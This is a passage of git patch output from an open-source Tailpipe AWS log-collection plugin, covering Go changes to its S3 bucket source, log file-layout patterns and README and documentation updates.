v1.12.1/go.mod h1:9nu0fVANtYiAePIBh2/pFUSwtJ402hLnp854CNoDOeE= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.4.8 h1:iwYS40JnrBeA9e9aI5S6KKN4EB2zR4iUVYN0nwVivz4= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.4.8/go.mod h1:Fm9Mi+ApqmFiknZtGpohVcBGvpTu542VC4XO9YudRi0= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.12.8 h1:cWno7lefSH6Pp+mSznagKCgfDGeZRin66UvYUqAkyeA= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.12.8/go.mod h1:tPD+VjU3ABTBoEJ3nctu5Nyg4P4yjqSH5bJGGkY4+XE= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.18.8 h1:/Mn7gTedG86nbpjT4QEKsN1D/fThiYe1qvq7WsBGNHg= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.18.8/go.mod h1:Ae3va9LPmvjj231ukHB6UeT8nS7wTPfC3tMZSZMwNYg= +github.com/aws/aws-sdk-go-v2/service/s3 v1.72.3 h1:WZOmJfCDV+4tYacLxpiojoAdT5sxTfB3nTqQNtZu+J4= +github.com/aws/aws-sdk-go-v2/service/s3 v1.72.3/go.mod h1:xMekrnhmJ5aqmyxtmALs7mlvXw5xRh+eYjOjvrIIFJ4= +github.com/aws/aws-sdk-go-v2/service/sso v1.24.9 h1:YqtxripbjWb2QLyzRK9pByfEDvgg95gpC2AyDq4hFE8= +github.com/aws/aws-sdk-go-v2/service/sso v1.24.9/go.mod h1:lV8iQpg6OLOfBnqbGMBKYjilBlf633qwHnBEiMSPoHY= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.28.8 h1:6dBT1Lz8fK11m22R+AqfRsFn8320K0T5DTGxxOQBSMw= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.28.8/go.mod h1:/kiBvRQXBc6xeJTYzhSdGvJ5vm1tjaDEjH+MSeRJnlY= +github.com/aws/aws-sdk-go-v2/service/sts v1.33.7 h1:qwGa9MA8G7mBq2YphHFaygdPe5t9OA7SvaJdwWTlEds= +github.com/aws/aws-sdk-go-v2/service/sts v1.33.7/go.mod h1:+8h7PZb3yY5ftmVLD7ocEoE98hdc8PoKS0H3wfx1dlc= +github.com/aws/smithy-go v1.22.1 h1:/HPHZQ0g7f4eUeK6HKglFz8uwVfZKgoI25rb/J+dnro= +github.com/aws/smithy-go v1.22.1/go.mod h1:irrKGvNn1InZwb2d7fkIRNucdfwR8R+Ts3wxYa/cJHg= github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d h1:xDfNPAt8lFiC1UJrqV3uuy861HCTo708pDMbjHHdCas= github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d/go.mod h1:6QX/PXZ00z/TKoufEY6K/a0k6AhaJrQKdFe6OfVXsa4= github.com/bgentry/speakeasy v0.1.0 h1:ByYyxL9InA1OWqxJqqp2A5pYHUrCiAL6K3J+LKSsQkY= diff --git a/sources/s3_bucket_source.go b/sources/s3_bucket_source.go index b9cd7971..6271539c 100644 --- a/sources/s3_bucket_source.go +++ b/sources/s3_bucket_source.go @@ -13,11 +13,11 @@ import ( "strings" "github.com/aws/aws-sdk-go-v2/aws" + "github.com/aws/aws-sdk-go-v2/feature/s3/manager" "github.com/aws/aws-sdk-go-v2/service/s3" "github.com/elastic/go-grok" "github.com/turbot/pipe-fittings/filter" - "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/row_source" @@ -45,19 +45,11 @@ type AwsS3BucketSource struct { func (s *AwsS3BucketSource) Init(ctx context.Context, params *row_source.RowSourceParams, opts ...row_source.RowSourceOption) error { slog.Info("Initializing AwsS3BucketSource") - // set the collection state func to the S3 specific collection state - //s.NewCollectionStateFunc = NewAwsS3CollectionState - // call base to parse config and apply options if err := s.ArtifactSourceImpl.Init(ctx, params, opts...); err != nil { return err } - if s.Config.Region == nil { - slog.Info("No region set, using default", "region", defaultBucketRegion) - s.Config.Region = utils.ToStringPointer(defaultBucketRegion) - } - // initialize client client, err := s.getClient(ctx) if err != nil { @@ -162,11 +154,19 @@ func (s *AwsS3BucketSource) DownloadArtifact(ctx context.Context, info *types.Ar func (s *AwsS3BucketSource) getClient(ctx context.Context) (*s3.Client, error) { // get the client configuration - cfg, err := s.Connection.GetClientConfiguration(ctx, s.Config.Region) + tempRegion := defaultBucketRegion + cfg, err := s.Connection.GetClientConfiguration(ctx, &tempRegion) if err != nil { return nil, fmt.Errorf("unable to get client configuration, %w", err) } + region, err := manager.GetBucketRegion(ctx, s3.NewFromConfig(*cfg), s.Config.Bucket) + if err != nil { + return nil, fmt.Errorf("unable to get bucket region, %w", err) + } + + cfg.Region = region + if s.Connection.S3ForcePathStyle != nil { return s3.NewFromConfig(*cfg, func(o *s3.Options) { o.UsePathStyle = *s.Connection.S3ForcePathStyle diff --git a/sources/s3_bucket_source_config.go b/sources/s3_bucket_source_config.go index 94a4f42f..dca09738 100644 --- a/sources/s3_bucket_source_config.go +++ b/sources/s3_bucket_source_config.go @@ -2,9 +2,9 @@ package sources import ( "fmt" - "regexp" "github.com/hashicorp/hcl/v2" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" ) @@ -14,11 +14,8 @@ type AwsS3BucketSourceConfig struct { Remain hcl.Body `hcl:",remain" json:"-"` artifact_source_config.ArtifactSourceConfigImpl - Bucket string `hcl:"bucket"` - Prefix *string `hcl:"prefix"` - Region *string `hcl:"region"` - StartAfterKey *string `hcl:"start_after_key"` - LexicographicalOrder bool `hcl:"lexicographical_order,optional"` + Bucket string `hcl:"bucket"` + Prefix *string `hcl:"prefix,optional"` } func (c *AwsS3BucketSourceConfig) Validate() error { @@ -26,21 +23,9 @@ func (c *AwsS3BucketSourceConfig) Validate() error { return fmt.Errorf("bucket is required and cannot be empty") } - if c.Region != nil && !isValidAWSRegion(*c.Region) { - return fmt.Errorf("invalid AWS region '%s'", *c.Region) - } - return nil } func (c *AwsS3BucketSourceConfig) Identifier() string { return AwsS3BucketSourceIdentifier } - -// IsValidAWSRegion checks if the given region is in the FORMAT of an AWS region. -func isValidAWSRegion(region string) bool { - // TODO: #refactor should we ensure it is an actual AWS region via CLI/API? - pattern := `^(us|eu|ap|af|me|sa|ca)-(west|east|central|south|north|northeast|southeast|northwest|southwest)-\d+$` - re := regexp.MustCompile(pattern) - return re.MatchString(region) -} From 824793cbe829e236c48724d94ff91eec4daf7ea4 Mon Sep 17 00:00:00 2001 From: Graza Date: Fri, 17 Jan 2025 16:47:47 +0000 Subject: [PATCH 140/180] refactor: amended S3 source to use optional segments --- sources/s3_bucket_source.go | 23 ++++++++++++++--------- tables/alb_access_log_table.go | 2 +- tables/cloudtrail_log_table.go | 2 +- tables/elb_access_log_table.go | 2 +- tables/guardduty_finding_table.go | 2 +- tables/lambda_log_table.go | 2 +- tables/securityhub_finding_table.go | 2 +- tables/vpc_flow_log_table.go | 2 +- tables/waf_traffic_log_table.go | 2 +- 9 files changed, 22 insertions(+), 17 deletions(-) diff --git a/sources/s3_bucket_source.go b/sources/s3_bucket_source.go index 6271539c..de93a568 100644 --- a/sources/s3_bucket_source.go +++ b/sources/s3_bucket_source.go @@ -17,6 +17,7 @@ import ( "github.com/aws/aws-sdk-go-v2/service/s3" "github.com/elastic/go-grok" + typehelpers "github.com/turbot/go-kit/types" "github.com/turbot/pipe-fittings/filter" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" @@ -83,7 +84,10 @@ func (s *AwsS3BucketSource) ValidateConfig() error { func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { var prefix string - layout := s.Config.GetFileLayout() + layout := typehelpers.SafeString(s.Config.GetFileLayout()) + // if there are any optional segments, we expand them into all possible alternatives + optionalLayouts := artifact_source.ExpandPatternIntoOptionalAlternatives(layout) + filterMap := make(map[string]*filter.SqlFilter) g := grok.New() @@ -98,13 +102,14 @@ func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { if !strings.HasSuffix(prefix, "/") { prefix = prefix + "/" } - if layout != nil { - t := fmt.Sprintf("%s%s", prefix, *layout) - layout = &t + var newOptionalLayouts []string + for _, l := range optionalLayouts { + newOptionalLayouts = append(newOptionalLayouts, fmt.Sprintf("%s%s", prefix, l)) } + optionalLayouts = newOptionalLayouts } - err = s.walkS3(ctx, s.Config.Bucket, prefix, layout, filterMap, g) + err = s.walkS3(ctx, s.Config.Bucket, prefix, optionalLayouts, filterMap, g) if err != nil { s.errorList = append(s.errorList, fmt.Errorf("error discovering artifacts in S3 bucket %s, %w", s.Config.Bucket, err)) } @@ -176,7 +181,7 @@ func (s *AwsS3BucketSource) getClient(ctx context.Context) (*s3.Client, error) { return s3.NewFromConfig(*cfg), nil } -func (s *AwsS3BucketSource) walkS3(ctx context.Context, bucket string, prefix string, layout *string, filterMap map[string]*filter.SqlFilter, g *grok.Grok) error { +func (s *AwsS3BucketSource) walkS3(ctx context.Context, bucket string, prefix string, layouts []string, filterMap map[string]*filter.SqlFilter, g *grok.Grok) error { paginator := s3.NewListObjectsV2Paginator(s.client, &s3.ListObjectsV2Input{ Bucket: aws.String(bucket), Prefix: aws.String(prefix), @@ -191,14 +196,14 @@ func (s *AwsS3BucketSource) walkS3(ctx context.Context, bucket string, prefix st // Directories for _, dir := range page.CommonPrefixes { - err = s.WalkNode(ctx, *dir.Prefix, "", layout, true, g, filterMap) + err = s.WalkNode(ctx, *dir.Prefix, "", layouts, true, g, filterMap) if err != nil { if errors.Is(err, fs.SkipDir) { continue } return fmt.Errorf("error walking node, %w", err) } - err = s.walkS3(ctx, bucket, *dir.Prefix, layout, filterMap, g) + err = s.walkS3(ctx, bucket, *dir.Prefix, layouts, filterMap, g) if err != nil { s.errorList = append(s.errorList, err) } @@ -206,7 +211,7 @@ func (s *AwsS3BucketSource) walkS3(ctx context.Context, bucket string, prefix st // Files for _, obj := range page.Contents { - err = s.WalkNode(ctx, *obj.Key, "", layout, false, g, filterMap) + err = s.WalkNode(ctx, *obj.Key, "", layouts, false, g, filterMap) if err != nil { s.errorList = append(s.errorList, fmt.Errorf("error parsing object %s, %w", *obj.Key, err)) } diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index 633ba019..db6430b3 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -34,7 +34,7 @@ type AlbAccessLogTable struct{} func (c *AlbAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.AlbAccessLog] { defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:elb_name}_%{TIMESTAMP_ISO8601:end_time}_%{DATA:suffix}.log"), + FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.log"), } return []*table.SourceMetadata[*rows.AlbAccessLog]{ diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 37cd4930..6428d6b0 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -34,7 +34,7 @@ type CloudTrailLogTable struct{} func (t *CloudTrailLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.CloudTrailLog] { defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/CloudTrail/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{NUMBER:prefix}_CloudTrail_%{DATA:region_file}_%{YEAR:year_file}%{MONTHNUM:month_file}%{MONTHDAY:day_file}T%{HOUR:hour}%{MINUTE:minute}Z_%{DATA:suffix}.json.gz"), + FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz"), } return []*table.SourceMetadata[*rows.CloudTrailLog]{ diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index 69334720..1c8456e6 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -37,7 +37,7 @@ func (c *ElbAccessLogTable) Identifier() string { func (c *ElbAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.ElbAccessLog] { defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:elb_name}_%{TIMESTAMP_ISO8601:end_time}_%{DATA:suffix}.log"), + FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.log"), } return []*table.SourceMetadata[*rows.ElbAccessLog]{ diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index e60eb294..95782c37 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -35,7 +35,7 @@ func (c *GuardDutyFindingTable) Identifier() string { func (c *GuardDutyFindingTable) GetSourceMetadata() []*table.SourceMetadata[*rows.GuardDutyFinding] { defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/GuardDuty/%{DATA:region_path}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:unique_id}.jsonl.gz"), + FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/GuardDuty/%{DATA:region_path}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.jsonl.gz"), } return []*table.SourceMetadata[*rows.GuardDutyFinding]{ diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index 3e848b61..3a93fd13 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -34,7 +34,7 @@ func (c *LambdaLogTable) Identifier() string { func (c *LambdaLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.LambdaLog] { defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/lambda/%{DATA:function_name}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:function_name}-%{TIMESTAMP_ISO8601:end_time}-%{DATA:suffix}.log"), + FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/lambda/%{DATA:function_name}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.log"), } return []*table.SourceMetadata[*rows.LambdaLog]{ diff --git a/tables/securityhub_finding_table.go b/tables/securityhub_finding_table.go index 8af195b4..d3086f78 100644 --- a/tables/securityhub_finding_table.go +++ b/tables/securityhub_finding_table.go @@ -31,7 +31,7 @@ func (c *SecurityHubFindingTable) Identifier() string { func (c *SecurityHubFindingTable) GetSourceMetadata() []*table.SourceMetadata[*rows.SecurityHubFinding] { defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/SecurityHub/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/findings.json.gz"), + FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/SecurityHub/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz"), } return []*table.SourceMetadata[*rows.SecurityHubFinding]{ diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index 0fd1cbbb..ed29a255 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -38,7 +38,7 @@ func (c *VpcFlowLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.VpcF } defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/vpcflowlogs/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:filename}.gz"), + FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/vpcflowlogs/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.gz"), } return []*table.SourceMetadata[*rows.VpcFlowLog]{ diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go index f7178ffe..0a88cbd8 100644 --- a/tables/waf_traffic_log_table.go +++ b/tables/waf_traffic_log_table.go @@ -34,7 +34,7 @@ type WafTrafficLogTable struct{} func (c *WafTrafficLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.WafTrafficLog] { // the default file layout for Waf traffic logs in S3 defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/WAFLogs/%{DATA:log_group_name}/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{HOUR:hour}/%{DATA:filename}.gz"), + FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/WAFLogs/%{DATA:log_group_name}/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{HOUR:hour}/%{DATA}.gz"), } return []*table.SourceMetadata[*rows.WafTrafficLog]{ From 3502183228ef9a1f9db49099a630fdff5190943c Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 21 Jan 2025 16:59:58 +0000 Subject: [PATCH 141/180] logging --- sources/cloudwatch_log_group_collection_state.go | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/sources/cloudwatch_log_group_collection_state.go b/sources/cloudwatch_log_group_collection_state.go index d8757eac..65609b1a 100644 --- a/sources/cloudwatch_log_group_collection_state.go +++ b/sources/cloudwatch_log_group_collection_state.go @@ -55,16 +55,13 @@ func (s *AwsCloudwatchCollectionState) Save() error { s.mut.Lock() defer s.mut.Unlock() - slog.Info("Saving collection state", "lastModifiedTime", s.lastModifiedTime, "lastSaveTime", s.lastSaveTime) - // if the last save time is after the last modified time, then we have nothing to do if s.lastSaveTime.After(s.lastModifiedTime) { slog.Info("collection state has not been modified since last save") // nothing to do return nil } - - slog.Info("We are actually saving the collection state") + slog.Info("Saving collection state", "lastModifiedTime", s.lastModifiedTime, "lastSaveTime", s.lastSaveTime) jsonBytes, err := json.Marshal(s) if err != nil { From f4f4d21818eac8b88a715ec3a94cb5dd033b3123 Mon Sep 17 00:00:00 2001 From: kaidaguerre Date: Tue, 21 Jan 2025 17:23:51 +0000 Subject: [PATCH 142/180] Add DownloadedArtifactInfo with LocalName and size - this is what Loaders and Extractors accept as arg now --- sources/s3_bucket_source.go | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/sources/s3_bucket_source.go b/sources/s3_bucket_source.go index de93a568..6b3f70ee 100644 --- a/sources/s3_bucket_source.go +++ b/sources/s3_bucket_source.go @@ -16,7 +16,6 @@ import ( "github.com/aws/aws-sdk-go-v2/feature/s3/manager" "github.com/aws/aws-sdk-go-v2/service/s3" "github.com/elastic/go-grok" - typehelpers "github.com/turbot/go-kit/types" "github.com/turbot/pipe-fittings/filter" "github.com/turbot/tailpipe-plugin-aws/config" @@ -124,15 +123,18 @@ func (s *AwsS3BucketSource) DownloadArtifact(ctx context.Context, info *types.Ar // Get the object from S3 getObjectOutput, err := s.client.GetObject(ctx, &s3.GetObjectInput{ Bucket: &s.Config.Bucket, - Key: &info.OriginalName, + Key: &info.Name, }) if err != nil { return fmt.Errorf("failed to download artifact, %w", err) } defer getObjectOutput.Body.Close() + // Get the size of the object + size := typehelpers.Int64Value(getObjectOutput.ContentLength) + // copy the object data to a temp file - localFilePath := path.Join(s.TempDir, info.OriginalName) + localFilePath := path.Join(s.TempDir, info.Name) // ensure the directory exists of the file to write to if err := os.MkdirAll(filepath.Dir(localFilePath), 0755); err != nil { return fmt.Errorf("failed to create directory for file, %w", err) @@ -151,8 +153,8 @@ func (s *AwsS3BucketSource) DownloadArtifact(ctx context.Context, info *types.Ar return fmt.Errorf("failed to write data to file, %w", err) } - // notify observers of the discovered artifact - downloadInfo := &types.ArtifactInfo{LocalName: localFilePath, OriginalName: info.OriginalName, SourceEnrichment: info.SourceEnrichment} + // notify observers of the downloaded artifact + downloadInfo := types.NewDownloadedArtifactInfo(info, localFilePath, size) return s.OnArtifactDownloaded(ctx, downloadInfo) } From 10104ad6486f1415157404f01e131ebddfb95c3d Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Wed, 22 Jan 2025 15:21:34 -0500 Subject: [PATCH 143/180] Update README and index doc --- README.md | 48 +-- docs/index.md | 295 +++--------------- docs/tables/aws_cloudtrail_log/index.md | 78 +++++ docs/tables/aws_cloudtrail_log/queries.md | 349 ++++++++++++++++++++++ 4 files changed, 492 insertions(+), 278 deletions(-) create mode 100644 docs/tables/aws_cloudtrail_log/index.md create mode 100644 docs/tables/aws_cloudtrail_log/queries.md diff --git a/README.md b/README.md index e0643c48..153c0ebc 100644 --- a/README.md +++ b/README.md @@ -1,23 +1,23 @@ # AWS Plugin for Tailpipe -Collect and query AWS logs using SQL to track activity, monitor trends, and detect anomalies across CloudTrail logs. +Collect and query AWS logs using SQL to track activity, monitor trends, and detect anomalies. - **[Get started →](https://hub.tailpipe.io/plugins/turbot/aws)** -- Documentation: [Table definitions & examples](https://hub.tailpipe.io/plugins/turbot/aws/tables) +- Documentation: [Table queries](https://hub.tailpipe.io/plugins/turbot/aws/queries) - Community: [Join #tailpipe on Slack →](https://turbot.com/community/join) - Get involved: [Issues](https://github.com/turbot/tailpipe-plugin-aws/issues) -## Quick start +## Quick Start Install the plugin with [Tailpipe](https://tailpipe.io): -```shell +```sh tailpipe plugin install aws ``` Configure your log source: -```shell +```sh vi ~/.tailpipe/config/aws.tpc ``` @@ -28,14 +28,15 @@ connection "aws" "dev" { partition "aws_cloudtrail_log" "dev" { source "aws_s3_bucket" { - bucket = "aws-cloudtrail-logs-bucket" + connection = connection.aws.dev + bucket = "aws-cloudtrail-logs-bucket" } } ``` Collect logs: -```shell +```sh tailpipe collect aws_cloudtrail_log.dev ``` @@ -45,12 +46,25 @@ Run a query: select event_source, event_name, recipient_account_id, count(*) as event_count from aws_cloudtrail_log where not read_only group by event_source, event_name, recipient_account_id order by event_count desc; ``` -## Advanced configuration +For example: + +```sh ++----------------------+-----------------------+----------------------+-------------+ +| event_source | event_name | recipient_account_id | event_count | ++----------------------+-----------------------+----------------------+-------------+ +| logs.amazonaws.com | CreateLogStream | 123456789012 | 793845 | +| ecs.amazonaws.com | RunTask | 456789012345 | 350836 | +| ecs.amazonaws.com | SubmitTaskStateChange | 456789012345 | 190185 | +| s3.amazonaws.com | PutObject | 789012345678 | 60842 | +| sns.amazonaws.com | TagResource | 456789012345 | 25499 | +| lambda.amazonaws.com | TagResource | 123456789012 | 20673 | ++----------------------+-----------------------+----------------------+-------------+ +``` + +## Advanced Configuration The AWS plugin has the power to: * Collect logs from various sources, including AWS CloudWatch log groups, S3 buckets, and more -* Query multiple accounts -* Query multiple regions * Use many different methods for credentials (roles, SSO, etc.) - **[Detailed configuration guide →](https://hub.tailpipe.io/plugins/turbot/aws#get-started)** @@ -69,20 +83,12 @@ git clone https://github.com/turbot/tailpipe-plugin-aws.git cd tailpipe-plugin-aws ``` -Build, which automatically installs the new version to your `~/.tailpipe/plugins` directory: +After making your local changes, build the plugin, which automatically installs the new version to your `~/.tailpipe/plugins` directory: ``` make ``` -TODO: How to configure it? - -Configure the plugin: - -``` -vi ~/.tailpipe/config/aws.tpc -``` - Try it! ``` @@ -90,10 +96,6 @@ tailpipe query > .inspect ``` -Further reading: - -- [TODO](https://tailpipe.io/docs/reference/develop/todo) - ## Open Source & Contributing This repository is published under the [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0) (source code) and [CC BY-NC-ND](https://creativecommons.org/licenses/by-nc-nd/2.0/) (docs) licenses. Please see our [code of conduct](https://github.com/turbot/.github/blob/main/CODE_OF_CONDUCT.md). We look forward to collaborating with you! diff --git a/docs/index.md b/docs/index.md index c1322b3c..e17d49d9 100644 --- a/docs/index.md +++ b/docs/index.md @@ -4,11 +4,9 @@ category: ["public cloud"] icon_url: "/images/plugins/turbot/aws.svg" brand_color: "#FF9900" display_name: "Amazon Web Services" -short_name: "aws" description: "Tailpipe plugin for collecting and querying various logs from AWS." -og_description: "Query AWS logs with SQL! Open source CLI. No DB required." +og_description: "Collect and query AWS logs with SQL! Open source CLI. No DB required." og_image: "/images/plugins/turbot/aws-social-graphic.png" -engines: ["tailpipe"] --- # AWS + Tailpipe @@ -21,24 +19,33 @@ For example: ```sql select - event_time, event_source, event_name, - user_identity.arn + recipient_account_id, + count(*) as event_count from - aws_cloudtrail_log; + aws_cloudtrail_log +where + not read_only +group by + event_source, + event_name, + recipient_account_id +order by + event_count desc; ``` ```sh -+---------------------+-------------------+------------+--------------------------------------------------------------+ -| event_time | event_source | event_name | arn | -+---------------------+-------------------+------------+--------------------------------------------------------------+ -| 2024-09-30 23:56:11 | iam.amazonaws.com | CreateUser | arn:aws:sts::123456789012:assumed-role/admin_role/pam | -| 2024-09-30 23:56:11 | iam.amazonaws.com | CreateRole | arn:aws:sts::123456789012:role/warehouse | -| 2024-09-30 23:56:13 | ec2.amazonaws.com | CopyImage | arn:aws:sts::123456789012:assumed-role/assistant_role/dwight | -| 2024-09-30 23:56:13 | sts.amazonaws.com | AssumeRole | arn:aws:sts::123456789012:assumed-role/qa_role/creed | -| 2024-09-30 23:57:14 | sts.amazonaws.com | AssumeRole | arn:aws:sts::123456789012:assumed-role/qa_role/creed | -+---------------------+-------------------+------------+--------------------------------------------------------------+ ++----------------------+-----------------------+----------------------+-------------+ +| event_source | event_name | recipient_account_id | event_count | ++----------------------+-----------------------+----------------------+-------------+ +| logs.amazonaws.com | CreateLogStream | 123456789012 | 793845 | +| ecs.amazonaws.com | RunTask | 456789012345 | 350836 | +| ecs.amazonaws.com | SubmitTaskStateChange | 456789012345 | 190185 | +| s3.amazonaws.com | PutObject | 789012345678 | 60842 | +| sns.amazonaws.com | TagResource | 456789012345 | 25499 | +| lambda.amazonaws.com | TagResource | 123456789012 | 20673 | ++----------------------+-----------------------+----------------------+-------------+ ``` ## Documentation @@ -68,7 +75,8 @@ connection "aws" "dev" { partition "aws_cloudtrail_log" "dev" { source "aws_s3_bucket" { - bucket = "aws-cloudtrail-logs-bucket" + connection = connection.aws.dev + bucket = "aws-cloudtrail-logs-bucket" } } ``` @@ -85,261 +93,38 @@ Run a query: select event_source, event_name, recipient_account_id, count(*) as event_count from aws_cloudtrail_log where not read_only group by event_source, event_name, recipient_account_id order by event_count desc; ``` -## Credentials +## Connections -| Item | Description | -| - |----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| Credentials | Specify a named profile from an AWS credential file with the `profile` argument. | -| Permissions | Grant the `ReadOnlyAccess` policy to your user or role. | -| Radius | Each connection represents a single AWS account. | -| Resolution | 1. Credentials explicitly set in a Tailpipe config file (`~/.tailpipe/config/aws.tpc`).
2. Credentials specified in environment variables, e.g., `AWS_ACCESS_KEY_ID`.
3. Credentials in the credential file (`~/.aws/credentials`) for the profile specified in the `AWS_PROFILE` environment variable.
4. Credentials for the default profile from the credential file.
5. EC2 instance role credentials (if running on an EC2 instance). | +By default, the following environment variables will be used for authentication: -### Profiles +- `AWS_PROFILE` +- `AWS_ACCESS_KEY_ID` +- `AWS_SECRET_ACCESS_KEY` -You may specify a named profile from an AWS credential file with the `profile` argument. A connection per profile, using named profiles is probably the most common configuration: - -```sh -vi ~/.aws/credentials -``` - -```ini -[account_a] -aws_access_key_id = AKIA4YFAKEKEYXTDS... -aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5... -region = us-west-2 - -[account_b] -aws_access_key_id = AKIA4YFAKEKEYJ7H... -aws_secret_access_key = Apf938vDKd8ThisIsNotRealzTiEUwXj9nKLWP9... -``` +You can also create `connection` resources in configuration files: ```sh vi ~/.tailpipe/config/aws.tpc ``` ```hcl -connection "aws" "account_a" { - profile = "account_a" +connection "aws" "aws_profile" { + profile = "my-profile" } -connection "aws" "account_b" { - profile = "account_b" +connection "aws" "aws_access_key_pair" { + access_key = "AKIA..." + secret_key = "dP+C+J..." } -``` - -Using named profiles allows Tailpipe to work with your existing CLI configurations, including SSO and using role assumption. - -### AWS SSO Credentials -Tailpipe works with [AWS SSO](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html#sso-configure-profile-auto) via AWS profiles however: -- You must login to SSO (`aws sso login`) before starting Tailpipe. -- If your credentials expire, you 